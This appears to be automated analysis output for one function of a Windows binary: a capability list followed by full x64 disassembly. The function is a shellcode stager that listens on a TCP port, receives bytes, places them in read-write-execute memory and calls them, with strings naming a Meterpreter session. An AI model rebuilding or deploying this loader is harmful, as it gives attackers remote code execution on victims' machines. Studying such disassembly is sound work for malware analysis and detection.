Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create tcp socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Start tcp server

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x1040
call fcn.140002440
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1030], rax
mov ecx, 0x198
call fcn.140001530
xor edx, edx
mov r8d, 0x198
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x30
call fcn.140001530
xorps xmm0, xmm0
mov ecx, 0x30
mov rbx, rax
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
call fcn.140001530
xorps xmm0, xmm0
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x1000
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rsp + 0x20], rax
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x202
mov dword [rbx + 4], 2
mov rdx, rdi
mov dword [rbx + 8], 1
mov dword [rbx + 0xc], 6
mov dword [rbx], 1
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea r9, [rsp + 0x20]
mov r8, rbx
lea rdx, [0x1400033e0]
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov rcx, qword [rsp + 0x20]
mov r8d, dword [rcx + 0xc]
mov edx, dword [rcx + 8]
mov ecx, dword [rcx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdx, qword [rsp + 0x20]
mov rcx, rax
mov rbx, rax
mov r8d, dword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
call qword [sym.imp.WS2_32.dll_bind]
mov edx, 0x7fffffff
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_listen]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Listening_on_TCP_port
call fcn.1400012f0
mov rcx, rax
lea rdx, [0x1400033e0]
call fcn.1400012f0
mov rcx, rax
lea rdx, [0x1400014c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_accept]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Incoming_connection...
mov rbx, rax
call fcn.1400012f0
mov rcx, rax
lea rdx, [0x1400014c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov r8d, 0x1000
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
test eax, eax
jle 0x1400011ba
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Received_shellcode_bytes
call fcn.1400012f0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400014c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Allocated_memory_for_shellocode_at:
mov rbx, rax
call fcn.1400012f0
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400014c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x1000
lea rdx, [rsp + 0x30]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Copied_shellcode_to:
call fcn.1400012f0
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400014c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Sending_back_meterpreter_session...
call fcn.1400012f0
call rbx
xor eax, eax
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.140001510
mov rbx, qword [rsp + 0x1050]
add rsp, 0x1040
pop rdi
ret